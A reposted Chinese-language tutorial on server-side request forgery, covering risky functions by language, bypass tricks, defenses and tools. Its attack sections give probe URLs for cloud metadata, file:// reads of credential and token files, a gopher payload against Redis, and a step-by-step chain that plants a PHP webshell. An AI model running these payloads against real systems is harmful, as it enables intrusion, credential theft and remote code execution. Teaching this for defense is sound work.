攻击核心原理
当应用程序存在**“代表用户”访问指定URL**的功能时(如分享预览、数据获取、网页抓取、Webhook通知等),如果攻击者能够控制这个URL,并使其访问内部或受限制的网络资源,就构成了SSRF。
关键点:攻击者利用了应用程序服务器作为“跳板”,从而绕过网络边界限制,实现从外网到内网的穿透。
简单点就是:网站拥有让我访问别的网站的功能,我访问的是类似192.168.150.3:80这样的内网ip。服务器就会访问到自己的内网。如果真的存在这个ip就会返回结果。
危险函数/类(补充与优化)
| 语言 | 危险函数/类 | 风险描述 |
|---|---|---|
| PHP | file_get_contents(), fopen(), curl_exec(), fsockopen() | 支持多种协议,缺乏默认限制。 |
| Python | urllib.request.urlopen(), requests.get(), httpx.get() | 早期urllib可能支持危险协议,需手动禁用。 |
| Java | URLConnection().openStream(), HttpClient.execute() | 默认行为可能较宽松。 |
| Node.js | http.get(), request(), fetch(), axios() | fetch行为相对可控,但配置错误仍危险。 |
| Go | http.Get(), http.NewRequest(), defaultClient.Do() | 需要自定义Transport来施加严格限制。 |
| .NET (C#) | WebClient.DownloadString(), HttpClient.GetStringAsync() | 默认行为需注意。 |
攻击协议与利用手法(深化)
1. 信息收集与端口扫描 通过响应时间、错误信息或返回内容来探测内网服务。
探测常见服务 http://192.168.1.1:22 # SSH http://127.0.0.1:6379 # Redis http://127.0.0.1:3306 # MySQL http://127.0.0.1:8080/actuator/health # Spring Boot Actuator 云元数据服务(高价值目标) http://169.254.169.254/latest/meta-data/ # AWS http://100.100.100.200/latest/meta-data/ # Alibaba Cloud http://metadata.google.internal/computeMetadata/v1/ # GCP (需要头 Metadata-Flavor: Google)
2. 文件读取 利用file://协议读取服务器本地敏感文件。
Linux file:///etc/passwd file:///proc/self/environ # 读取当前进程环境变量,可能包含密钥 file:///var/run/secrets/kubernetes.io/serviceaccount/token # Kubernetes Service Account Token Windows file:///C:/Windows/System32/drivers/etc/hosts file:///C:/xampp/htdocs/config/config.inc.php
3. 攻击内网应用(SSRF to RCE的桥梁) 这是将SSRF危害最大化的关键。通过构造特定协议请求,直接与内网无认证或弱认证的应用交互,实现命令执行。
- 攻击Redis(未授权访问) 使用
gopher或dict协议向Redis发送命令,写入Webshell或反弹Shell。
使用 Gopherus 等工具生成Payload,将公钥写入/root/.ssh/authorized_keys,或写入PHP WebShell
gopher://127.0.0.1:6379/_1%0d%0a$8%0d%0aflushall%0d%0a3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a... - 攻击FastCGI (PHP-FPM) 当PHP-FPM暴露在端口上(如9000)时,可以构造FastCGI协议包,使其执行任意PHP代码。
使用工具构造Payload
http://127.0.0.1:9000 # 请求体中是恶意的FastCGI协议数据 - 攻击MySQL 通过
gopher协议与MySQL交互,但难度较高,需要知道如何构造MySQL协议包。
绕过技巧(补充)
- DNS重绑定:
- 注册一个域名,其DNS记录TTL极短,第一次解析返回一个合法外网IP(通过白名单校验),第二次解析返回
127.0.0.1(实际发起请求)。 - 使用公共服务如
spoofed.burpcollaborator.net。
- 注册一个域名,其DNS记录TTL极短,第一次解析返回一个合法外网IP(通过白名单校验),第二次解析返回
- 利用URL解析差异:
- 不同库(如
curlvsurllib)对URL的解析规则不同,可能造成绕过。 - 示例:
http://127.1:80@google.comvshttp://google.com@127.1:80
- 不同库(如
- IPv6与特殊地址:
高级攻击:SSRF to RCE
这正是你提到的核心。当SSRF可以攻击内网特定服务时,RCE就成为了可能。其流程如下:
- 发现SSRF漏洞点(如
url参数可控)。 - 探测内网环境,发现存在
127.0.0.1:6379的Redis服务,且未授权访问。 - 构造攻击载荷:使用
Gopherus工具生成攻击Redis的Payload,目标是写入一个PHP WebShell到Web目录。
python gopherus.py --exploit redis
输入你的PHP命令,如:<?php system($_GET['cmd']);?> - 发起SSRF攻击:将生成的Gopher URL作为参数传入。
vulnerable-site.com/share?url=gopher://127.0.0.1:6379/_...生成的Payload... - 访问WebShell:服务器会执行该Payload,在Web目录(如
/var/www/html/shell.php)写入Webshell。 - 实现RCE:直接访问
http://vulnerable-site.com/shell.php?cmd=id,执行系统命令。
防御方案
一个完整的SSRF防御策略应该是多层次、纵深式的。
- 输入校验与白名单:
- 最佳实践:建立允许的域名或IP白名单。只允许访问公网、业务相关的安全域名。
- 次优方案:如果必须允许用户输入URL,则阻断内网IP段(
127.0.0.0/8,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16)、链路本地地址等。
- 协议限制:
- 应用层控制:
- 禁用URL重定向(30x跟随)。
- 对响应内容进行校验,避免敏感信息泄露。
- 网络层隔离:
- 将执行网络请求的应用程序部署在独立的、严格限制出网权限的网络段(DMZ)。使用防火墙策略禁止其访问管理网段和元数据服务。
- 这是最有效、最根本的解决方案之一。
- 使用安全的客户端:
- 使用单独的、配置严格的HTTP客户端进行出站请求。
- 例如,在Go中自定义
http.Transport,在Python中使用requests库并设置allow_redirects=False。
推荐工具
- SSRFmap: 自动化的SSRF利用框架,支持多种后利用模块(如端口扫描、文件读取、攻击Redis等)。
- Gopherus: 专门生成用于攻击Redis、MySQL、FastCGI等的Gopher Payload。
- ffuf / dirsearch: 用于对内网服务进行目录/内容发现。
- Burp Suite Collaborator: 用于检测盲SSRF和DNS重绑定攻击。
《SSRF攻击:原理、手法与演进》 是转载文章,点击查看原文。
